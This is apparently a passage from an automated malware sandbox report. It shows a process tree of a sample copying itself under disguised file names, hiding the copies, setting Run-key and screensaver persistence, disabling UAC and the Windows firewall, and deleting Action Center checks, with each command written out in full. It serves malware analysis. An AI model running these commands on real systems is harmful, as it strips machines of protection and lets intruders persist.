      attrib +R +H +S "C:\Users\Admin\AppData\Roaming\directplay.exe"
      4⤵
      Sets file to hidden
      Views/modifies file attributes
      PID:2168
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg ADD "HKCU\software\microsoft\windows\currentversion\run" /v "directplay" /t REG_SZ /d "%appdata%\directplay.exe" /f
    3⤵
    PID:3824
  - - C:\Windows\SysWOW64\reg.exe
      reg ADD "HKCU\software\microsoft\windows\currentversion\run" /v "directplay" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\directplay.exe" /f
      4⤵
      Adds Run key to start application
      System Location Discovery: System Language Discovery
      PID:1204
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c attrib -R -H -S "%windir%\system32\sysclock.exe"
    3⤵
    PID:4136
  - - C:\Windows\SysWOW64\attrib.exe
      attrib -R -H -S "C:\Windows\system32\sysclock.exe"
      4⤵
      Drops file in System32 directory
      System Location Discovery: System Language Discovery
      Views/modifies file attributes
      PID:3044
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\winspace.scr" "%windir%\system32\sysclock.exe"
    3⤵
    PID:4936
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c attrib +R +H +S "%windir%\system32\sysclock.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4656
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +R +H +S "C:\Windows\system32\sysclock.exe"
      4⤵
      Sets file to hidden
      Drops file in System32 directory
      System Location Discovery: System Language Discovery
      Views/modifies file attributes
      PID:3740
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c md %appdata%\Microsoft\Windows
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4984
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c attrib -R -H -S "%appdata%\Microsoft\Windows\winspace.scr"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4636
  - - C:\Windows\SysWOW64\attrib.exe
      attrib -R -H -S "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\winspace.scr"
      4⤵
      Views/modifies file attributes
      PID:4888
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\winspace.scr" "%appdata%\Microsoft\Windows\winspace.scr"
    3⤵
    PID:4928
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c attrib +R +H +S "%appdata%\Microsoft\Windows\winspace.scr"
    3⤵
    PID:3780
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +R +H +S "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\winspace.scr"
      4⤵
      Sets file to hidden
      System Location Discovery: System Language Discovery
      Views/modifies file attributes
      PID:4904
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg ADD "HKCU\Control Panel\Desktop" /v "SCRNSAVE.EXE" /t REG_SZ /d "%appdata%\Microsoft\Windows\winspace.scr" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3608
  - - C:\Windows\SysWOW64\reg.exe
      reg ADD "HKCU\Control Panel\Desktop" /v "SCRNSAVE.EXE" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\winspace.scr" /f
      4⤵
      PID:1852
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg ADD "HKCU\Control Panel\Desktop" /v ScreenSaveActive /t REG_SZ /d "1" /f
    3⤵
    PID:1272
  - - C:\Windows\SysWOW64\reg.exe
      reg ADD "HKCU\Control Panel\Desktop" /v ScreenSaveActive /t REG_SZ /d "1" /f
      4⤵
      PID:4924
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg ADD "HKCU\Control Panel\Desktop" /v ScreenSaveTimeOut /t REG_SZ /d "60" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4488
  - - C:\Windows\SysWOW64\reg.exe
      reg ADD "HKCU\Control Panel\Desktop" /v ScreenSaveTimeOut /t REG_SZ /d "60" /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:3028
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c NET START seclogon
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5104
  - - C:\Windows\SysWOW64\net.exe
      NET START seclogon
      4⤵
      PID:1064
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 START seclogon
        5⤵
        
        PID:1364
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c rd /s /q "%appdata%\Macromedia\Flash Player\#SharedObjects"
    3⤵
    PID:1232
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v EnableBalloonTips /t REG_DWORD /d 0 /f
    3⤵
    PID:4308
  - - C:\Windows\SysWOW64\reg.exe
      reg ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v EnableBalloonTips /t REG_DWORD /d 0 /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:1388
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg DELETE "HKCU\software\microsoft\windows\currentversion\action center\checks" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4920
  - - C:\Windows\SysWOW64\reg.exe
      reg DELETE "HKCU\software\microsoft\windows\currentversion\action center\checks" /f
      4⤵
      PID:3932
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f
    3⤵
    PID:1084
  - - C:\Windows\SysWOW64\reg.exe
      reg ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f
      4⤵
      UAC bypass
      PID:396
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c sc config upnphost start= auto
    3⤵
    PID:2888
  - - C:\Windows\SysWOW64\sc.exe
      sc config upnphost start= auto
      4⤵
      Launches sc.exe
      PID:2896
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c sc config SSDPSRV start= auto
    3⤵
    PID:3992
  - - C:\Windows\SysWOW64\sc.exe
      sc config SSDPSRV start= auto
      4⤵
      Launches sc.exe
      PID:3928
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c sc config browser start= auto
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2344
  - - C:\Windows\SysWOW64\sc.exe
      sc config browser start= auto
      4⤵
      Launches sc.exe
      PID:2960
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c net start upnphost
    3⤵
    PID:2120
  - - C:\Windows\SysWOW64\net.exe
      net start upnphost
      4⤵
      System Location Discovery: System Language Discovery
      PID:3020
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 start upnphost
        5⤵
        
        PID:436
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c net start SSDPSRV
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1848
  - - C:\Windows\SysWOW64\net.exe
      net start SSDPSRV
      4⤵
      PID:4152
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 start SSDPSRV
        5⤵
        
        PID:1500
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c net start browser
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4988
  - - C:\Windows\SysWOW64\net.exe
      net start browser
      4⤵
      PID:184
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 start browser
        5⤵
        
        PID:5064
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c netsh advfirewall set currentprofile state off
    3⤵
    PID:2460
  - - C:\Windows\SysWOW64\netsh.exe
      netsh advfirewall set currentprofile state off
      4⤵
      Modifies Windows Firewall
      Event Triggered Execution: Netsh Helper DLL
      System Location Discovery: System Language Discovery
      PID:1860
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg ADD "HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile" /v EnableFirewall /t REG_DWORD /d 0 /f
    3⤵
    PID:456
  - - C:\Windows\SysWOW64\reg.exe
      reg ADD "HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile" /v EnableFirewall /t REG_DWORD /d 0 /f
      4⤵
      Modifies firewall policy service
      PID:4488
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg ADD "HKLM\SOFTWARE\Policies\Microsoft\WindowsFirewall\StandardProfile" /v EnableFirewall /t REG_DWORD /d 0 /f
    3⤵
    PID:4364
  - - C:\Windows\SysWOW64\reg.exe
      reg ADD "HKLM\SOFTWARE\Policies\Microsoft\WindowsFirewall\StandardProfile" /v EnableFirewall /t REG_DWORD /d 0 /f
      4⤵
      PID:2524
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg ADD "HKLM\SOFTWARE\Policies\Microsoft\WindowsFirewall\DomainProfile" /v EnableFirewall /t REG_DWORD /d 0 /f
    3⤵
    PID:3296
  - - C:\Windows\SysWOW64\reg.exe
      reg ADD "HKLM\SOFTWARE\Policies\Microsoft\WindowsFirewall\DomainProfile" /v EnableFirewall /t REG_DWORD /d 0 /f
      4⤵
      PID:3012
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c netsh advfirewall set currentprofile state off
    3⤵
    PID:4664
  - - C:\Windows\SysWOW64\netsh.exe
      netsh advfirewall set currentprofile state off
      4⤵
      Modifies Windows Firewall
      Event Triggered Execution: Netsh Helper DLL
      PID:3432
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg ADD "HKLM\Software\Microsoft\Internet Explorer\Main\FeatureControl" /v FEATURE_WEBOC_POPUPMANAGEMENT /t REG_DWORD /d 0 /f
    3⤵
    PID:4276
  - - C:\Windows\SysWOW64\reg.exe
      reg ADD "HKLM\Software\Microsoft\Internet Explorer\Main\FeatureControl" /v FEATURE_WEBOC_POPUPMANAGEMENT /t REG_DWORD /d 0 /f
      4⤵
      System Location Discovery: System Language Discovery
      Modifies Internet Explorer settings
      PID:1480
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg ADD "HKLM\Software\Microsoft\Internet Explorer\Main" /v Show_FullURL /t REG_SZ /d yes /f
    3⤵
    PID:1308
  - - C:\Windows\SysWOW64\reg.exe
      reg ADD "HKLM\Software\Microsoft\Internet Explorer\Main" /v Show_FullURL /t REG_SZ /d yes /f
      4⤵
      Modifies Internet Explorer settings
      PID:2988
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg ADD "HKLM\Software\Microsoft\Internet Explorer\Main" /v Show_StatusBar /t REG_SZ /d yes /f
    3⤵
    PID:4816
  - - C:\Windows\SysWOW64\reg.exe
      reg ADD "HKLM\Software\Microsoft\Internet Explorer\Main" /v Show_StatusBar /t REG_SZ /d yes /f
      4⤵
      Modifies Internet Explorer settings
      PID:3028
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg ADD "HKLM\Software\Microsoft\Internet Explorer\Main" /v Show_URLinStatusBar /t REG_SZ /d yes /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2236
  - - C:\Windows\SysWOW64\reg.exe
      reg ADD "HKLM\Software\Microsoft\Internet Explorer\Main" /v Show_URLinStatusBar /t REG_SZ /d yes /f
      4⤵
      Modifies Internet Explorer settings
      PID:1544
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg ADD "HKLM\Software\Microsoft\Internet Explorer\MINIE" /v ShowStatusBar /t REG_DWORD /d 1 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4888
  - - C:\Windows\SysWOW64\reg.exe
      reg ADD "HKLM\Software\Microsoft\Internet Explorer\MINIE" /v ShowStatusBar /t REG_DWORD /d 1 /f
      4⤵
      Modifies Internet Explorer settings
      PID:428
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg DELETE "HKCU\AppEvents\Schemes\Apps\Explorer\Navigating\.Current" /f
    3⤵
    PID:4748
  - - C:\Windows\SysWOW64\reg.exe
      reg DELETE "HKCU\AppEvents\Schemes\Apps\Explorer\Navigating\.Current" /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:4596
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg DELETE "HKCU\AppEvents\Schemes\Apps\Explorer\Navigating\.Default" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1576
  - - C:\Windows\SysWOW64\reg.exe
      reg DELETE "HKCU\AppEvents\Schemes\Apps\Explorer\Navigating\.Default" /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:232
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg ADD "HKCU\Software\Microsoft\Internet Explorer\Main" /v Check_Associations /t REG_SZ /d no /f
    3⤵
    PID:4980
  - - C:\Windows\SysWOW64\reg.exe
      reg ADD "HKCU\Software\Microsoft\Internet Explorer\Main" /v Check_Associations /t REG_SZ /d no /f
      4⤵
      Modifies Internet Explorer settings
      PID:2960
- - C:\Windows\SysWOW64\rundll32.exe
    "C:\Windows\System32\rundll32.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2660
- - C:\Program Files (x86)\Windows Media Player\wmplayer.exe
    "C:\Program Files (x86)\Windows Media Player\wmplayer.exe"
    3⤵
    PID:2040

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p
1⤵
PID:800

C:\Users\Admin\AppData\Local\Temp\de4d5653904e71f077a0ce02a6ae0897_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\de4d5653904e71f077a0ce02a6ae0897_JaffaCakes118.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2172
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Roaming\4640.29905"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2660
- - C:\Users\Admin\AppData\Roaming\4640.29905
    C:\Users\Admin\AppData\Roaming\4640.29905
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Modifies Control Panel
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2872
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c attrib -R -H -S "%appdata%\directplay.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2416
    - - C:\Windows\SysWOW64\attrib.exe
        
        attrib -R -H -S "C:\Users\Admin\AppData\Roaming\directplay.exe"
        5⤵
        Views/modifies file attributes
        
        PID:4928
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Roaming\4640.29905" "%appdata%\directplay.exe"
      4⤵
      PID:4284
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c attrib +R +H +S "%appdata%\directplay.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4920
    - - C:\Windows\SysWOW64\attrib.exe
        
        attrib +R +H +S "C:\Users\Admin\AppData\Roaming\directplay.exe"
        5⤵
        Sets file to hidden
        Views/modifies file attributes
        
        PID:1608
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg ADD "HKCU\software\microsoft\windows\currentversion\run" /v "directplay" /t REG_SZ /d "%appdata%\directplay.exe" /f
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4360
    - - C:\Windows\SysWOW64\reg.exe
        
        reg ADD "HKCU\software\microsoft\windows\currentversion\run" /v "directplay" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\directplay.exe" /f
        5⤵
        Adds Run key to start application
        
        PID:4000
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c attrib -R -H -S "%windir%\system32\sysclock.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:1636
    - - C:\Windows\SysWOW64\attrib.exe
        
        attrib -R -H -S "C:\Windows\system32\sysclock.exe"
        5⤵
        System Location Discovery: System Language Discovery
        Views/modifies file attributes
        
        PID:828
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Roaming\4640.29905" "%windir%\system32\sysclock.exe"
      4⤵
      Drops file in System32 directory
      System Location Discovery: System Language Discovery
      PID:1016
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c attrib +R +H +S "%windir%\system32\sysclock.exe"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1692
    - - C:\Windows\SysWOW64\attrib.exe
        
        attrib +R +H +S "C:\Windows\system32\sysclock.exe"
        5⤵
        Sets file to hidden
        Drops file in System32 directory
        Views/modifies file attributes
        
        PID:1036
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c md %appdata%\Microsoft\Windows
      4⤵
      System Location Discovery: System Language Discovery
      PID:3100
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c attrib -R -H -S "%appdata%\Microsoft\Windows\winspace.scr"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3580
    - - C:\Windows\SysWOW64\attrib.exe
        
        attrib -R -H -S "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\winspace.scr"
        5⤵
        System Location Discovery: System Language Discovery
        Views/modifies file attributes
        
        PID:728
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Roaming\4640.29905" "%appdata%\Microsoft\Windows\winspace.scr"
      4⤵
      System Location Discovery: System Language Discovery
      PID:3756
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c attrib +R +H +S "%appdata%\Microsoft\Windows\winspace.scr"
      4⤵
      PID:1464
    - - C:\Windows\SysWOW64\attrib.exe
        
        attrib +R +H +S "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\winspace.scr"
        5⤵
        Sets file to hidden
        Views/modifies file attributes
        
        PID:4368
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg ADD "HKCU\Control Panel\Desktop" /v "SCRNSAVE.EXE" /t REG_SZ /d "%appdata%\Microsoft\Windows\winspace.scr" /f
      4⤵
      PID:1916
    - - C:\Windows\SysWOW64\reg.exe
        
        reg ADD "HKCU\Control Panel\Desktop" /v "SCRNSAVE.EXE" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\winspace.scr" /f
        5⤵
        
        PID:1040
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg ADD "HKCU\Control Panel\Desktop" /v ScreenSaveActive /t REG_SZ /d "1" /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:5060
    - - C:\Windows\SysWOW64\reg.exe
        
        reg ADD "HKCU\Control Panel\Desktop" /v ScreenSaveActive /t REG_SZ /d "1" /f
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:3012
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg ADD "HKCU\Control Panel\Desktop" /v ScreenSaveTimeOut /t REG_SZ /d "60" /f
      4⤵
      PID:216
    - - C:\Windows\SysWOW64\reg.exe
        
        reg ADD "HKCU\Control Panel\Desktop" /v ScreenSaveTimeOut /t REG_SZ /d "60" /f
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:5032
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c NET START seclogon
      4⤵
      PID:3616
    - - C:\Windows\SysWOW64\net.exe
        
        NET START seclogon
        5⤵
        
        PID:4540
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 START seclogon
        6⤵
        
        PID:2628
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c rd /s /q "%appdata%\Macromedia\Flash Player\#SharedObjects"
      4⤵
      PID:2904
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v EnableBalloonTips /t REG_DWORD /d 0 /f
      4⤵
      PID:644
    - - C:\Windows\SysWOW64\reg.exe
        
        reg ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v EnableBalloonTips /t REG_DWORD /d 0 /f
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4440
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg DELETE "HKCU\software\microsoft\windows\currentversion\action center\checks" /f
      4⤵
      PID:2240
    - - C:\Windows\SysWOW64\reg.exe
        
        reg DELETE "HKCU\software\microsoft\windows\currentversion\action center\checks" /f
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1492
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f
      4⤵
      PID:468
    - - C:\Windows\SysWOW64\reg.exe
        
        reg ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f
        5⤵
        UAC bypass
        
        PID:4788
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c sc config upnphost start= auto
      4⤵
      PID:864
    - - C:\Windows\SysWOW64\sc.exe
        
        sc config upnphost start= auto
        5⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:2560
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c sc config SSDPSRV start= auto
      4⤵
      PID:4136
    - - C:\Windows\SysWOW64\sc.exe
        
        sc config SSDPSRV start= auto
        5⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:828
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c sc config browser start= auto
      4⤵
      System Location Discovery: System Language Discovery
      PID:4636
    - - C:\Windows\SysWOW64\sc.exe
        
        sc config browser start= auto
        5⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:3100
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c net start upnphost
      4⤵
      PID:3436
    - - C:\Windows\SysWOW64\net.exe
        
        net start upnphost
        5⤵
        
        PID:3580
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 start upnphost
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:2996
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c net start SSDPSRV
      4⤵
      PID:4284
    - - C:\Windows\SysWOW64\net.exe
        
        net start SSDPSRV
        5⤵
        
        PID:3708
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 start SSDPSRV
        6⤵
        
        PID:728
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c net start browser
      4⤵
      PID:1636
    - - C:\Windows\SysWOW64\net.exe
        
        net start browser
        5⤵
        
        PID:4504
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 start browser
        6⤵
        
        PID:1904
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c netsh advfirewall set currentprofile state off
      4⤵
      PID:3832
    - - C:\Windows\SysWOW64\netsh.exe
        
        netsh advfirewall set currentprofile state off
        5⤵
        Modifies Windows Firewall
        Event Triggered Execution: Netsh Helper DLL
        
        PID:1712
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg ADD "HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile" /v EnableFirewall /t REG_DWORD /d 0 /f
      4⤵
      PID:3632
    - - C:\Windows\SysWOW64\reg.exe
        
        reg ADD "HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile" /v EnableFirewall /t REG_DWORD /d 0 /f
        5⤵
        Modifies firewall policy service
        System Location Discovery: System Language Discovery
        
        PID:2052
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg ADD "HKLM\SOFTWARE\Policies\Microsoft\WindowsFirewall\StandardProfile" /v EnableFirewall /t REG_DWORD /d 0 /f
      4⤵
      PID:1800
    - - C:\Windows\SysWOW64\reg.exe
        
        reg ADD "HKLM\SOFTWARE\Policies\Microsoft\WindowsFirewall\StandardProfile" /v EnableFirewall /t REG_DWORD /d 0 /f
        5⤵
        
        PID:3664
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg ADD "HKLM\SOFTWARE\Policies\Microsoft\WindowsFirewall\DomainProfile" /v EnableFirewall /t REG_DWORD /d 0 /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:4680
    - - C:\Windows\SysWOW64\reg.exe
        
        reg ADD "HKLM\SOFTWARE\Policies\Microsoft\WindowsFirewall\DomainProfile" /v EnableFirewall /t REG_DWORD /d 0 /f
        5⤵
        
        PID:4788
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c netsh advfirewall set currentprofile state off
      4⤵
      PID:5092
    - - C:\Windows\SysWOW64\netsh.exe
        
        netsh advfirewall set currentprofile state off
        5⤵
        Modifies Windows Firewall
        Event Triggered Execution: Netsh Helper DLL
        
        PID:5104
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg ADD "HKLM\Software\Microsoft\Internet Explorer\Main\FeatureControl" /v FEATURE_WEBOC_POPUPMANAGEMENT /t REG_DWORD /d 0 /f
      4⤵
      PID:3824
    - - C:\Windows\SysWOW64\reg.exe
        
        reg ADD "HKLM\Software\Microsoft\Internet Explorer\Main\FeatureControl" /v FEATURE_WEBOC_POPUPMANAGEMENT /t REG_DWORD /d 0 /f
        5⤵
        System Location Discovery: System Language Discovery
        Modifies Internet Explorer settings
        
        PID:4444
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg ADD "HKLM\Software\Microsoft\Internet Explorer\Main" /v Show_FullURL /t REG_SZ /d yes /f
      4⤵
      PID:2256
    - - C:\Windows\SysWOW64\reg.exe
        
        reg ADD "HKLM\Software\Microsoft\Internet Explorer\Main" /v Show_FullURL /t REG_SZ /d yes /f
        5⤵
        Modifies Internet Explorer settings
        
        PID:616
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg ADD "HKLM\Software\Microsoft\Internet Explorer\Main" /v Show_StatusBar /t REG_SZ /d yes /f
      4⤵
      PID:3820
    - - C:\Windows\SysWOW64\reg.exe
        
        reg ADD "HKLM\Software\Microsoft\Internet Explorer\Main" /v Show_StatusBar /t REG_SZ /d yes /f
        5⤵
        Modifies Internet Explorer settings
        
        PID:1452
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg ADD "HKLM\Software\Microsoft\Internet Explorer\Main" /v Show_URLinStatusBar /t REG_SZ /d yes /f
      4⤵
      PID:1216
    - - C:\Windows\SysWOW64\reg.exe
        
        reg ADD "HKLM\Software\Microsoft\Internet Explorer\Main" /v Show_URLinStatusBar /t REG_SZ /d yes /f
        5⤵
        Modifies Internet Explorer settings
        
        PID:4612
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg ADD "HKLM\Software\Microsoft\Internet Explorer\MINIE" /v ShowStatusBar /t REG_DWORD /d 1 /f
      4⤵
      PID:3124
    - - C:\Windows\SysWOW64\reg.exe
        
        reg ADD "HKLM\Software\Microsoft\Internet Explorer\MINIE" /v ShowStatusBar /t REG_DWORD /d 1 /f
        5⤵
        System Location Discovery: System Language Discovery
        Modifies Internet Explorer settings
        
        PID:3248
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg DELETE "HKCU\AppEvents\Schemes\Apps\Explorer\Navigating\.Current" /f
      4⤵
      PID:2468
    - - C:\Windows\SysWOW64\reg.exe
        
        reg DELETE "HKCU\AppEvents\Schemes\Apps\Explorer\Navigating\.Current" /f
        5⤵
        
        PID:3008
  - - C:\Windows\SysWOW64\cmd.exe
